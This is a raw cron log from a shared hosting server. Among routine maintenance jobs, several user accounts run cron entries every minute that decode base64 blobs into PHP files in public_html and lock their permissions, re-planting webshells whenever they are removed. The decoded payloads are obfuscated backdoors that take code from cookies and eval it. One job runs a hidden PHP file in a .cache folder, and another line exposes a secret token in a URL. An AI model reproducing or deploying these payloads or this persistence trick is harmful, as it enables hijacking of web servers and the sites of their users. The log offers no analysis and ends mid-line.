Mar  1 17:14:01 medusa CROND[9324]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:14:01 medusa CROND[9325]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:14:01 medusa CROND[9327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:14:01 medusa CROND[9328]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:14:01 medusa CROND[9326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:14:01 medusa CROND[9332]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:14:01 medusa CROND[9342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:14:01 medusa CROND[9343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:15:01 medusa CROND[29421]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:15:01 medusa CROND[29475]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:15:01 medusa CROND[29534]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:15:01 medusa CROND[29624]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 17:15:01 medusa CROND[29627]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:15:01 medusa CROND[29625]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:15:01 medusa CROND[29629]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:15:01 medusa CROND[29630]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:15:01 medusa CROND[29626]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:15:01 medusa CROND[29632]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:15:01 medusa CROND[29623]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:15:01 medusa CROND[29639]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:15:01 medusa CROND[29642]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:15:01 medusa CROND[29634]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:15:01 medusa CROND[29643]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:15:01 medusa CROND[29645]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:15:01 medusa CROND[29647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:15:01 medusa CROND[29653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:15:01 medusa CROND[29659]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:15:01 medusa CROND[29631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:15:01 medusa CROND[29635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:15:01 medusa CROND[29655]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:15:01 medusa CROND[29681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:16:01 medusa CROND[18412]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:16:01 medusa CROND[18413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:16:01 medusa CROND[18415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:16:01 medusa CROND[18414]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:16:01 medusa CROND[18416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:16:01 medusa CROND[18418]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:16:01 medusa CROND[18417]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:16:01 medusa CROND[18421]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:16:01 medusa CROND[18424]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:16:01 medusa CROND[18422]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:16:01 medusa CROND[18423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:16:01 medusa CROND[18429]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 